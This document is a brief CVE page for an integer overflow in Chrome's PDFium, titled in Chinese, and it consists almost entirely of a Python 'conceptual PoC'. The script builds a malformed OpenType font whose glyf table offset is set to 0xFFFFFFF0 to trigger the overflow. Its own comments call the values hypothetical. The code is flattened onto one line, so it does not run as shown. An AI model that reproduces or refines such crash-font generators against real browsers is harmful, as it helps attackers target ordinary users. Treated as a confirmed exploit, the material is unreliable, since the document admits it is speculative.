CVE-2026-9960 Google Chrome PDFium整数溢出漏洞

#!/usr/bin/env python3 # Conceptual PoC for CVE-2026-9960 # This script generates a crafted font file structure to trigger the integer overflow in PDFium. import struct def create_crafted_font(filename): # Minimal OTF/TTF header structure # SFNT version header = b'\x00\x01\x00\x00' # Number of tables (normal value), we might manipulate offsets to cause overflow num_tables = struct.pack('>H', 1) # Search range, entry selector, range shift (standard values) header += num_tables + b'\x00\x80\x00\x03\x00\x00' # Table Directory Entry # Tag: 'glyf' (glyph data) table_tag = b'glyf' # Checksum (dummy) checksum = b'\x00\x00\x00\x00' # Offset: Set to a value that might cause overflow during calculation in PDFium # This is a hypothetical offset value for demonstration offset = struct.pack('>I', 0xFFFFFFF0) # Length: Length of table data length = struct.pack('>I', 0x00000010) table_entry = table_tag + checksum + offset + length with open(filename, 'wb') as f: f.write(header + table_entry) # Write dummy glyph data at the end to complete the file structure f.write(b'\x00' * 0x10) print(f"[+] Crafted font file saved to {filename}") if __name__ == "__main__": create_crafted_font("crafted_font.otf")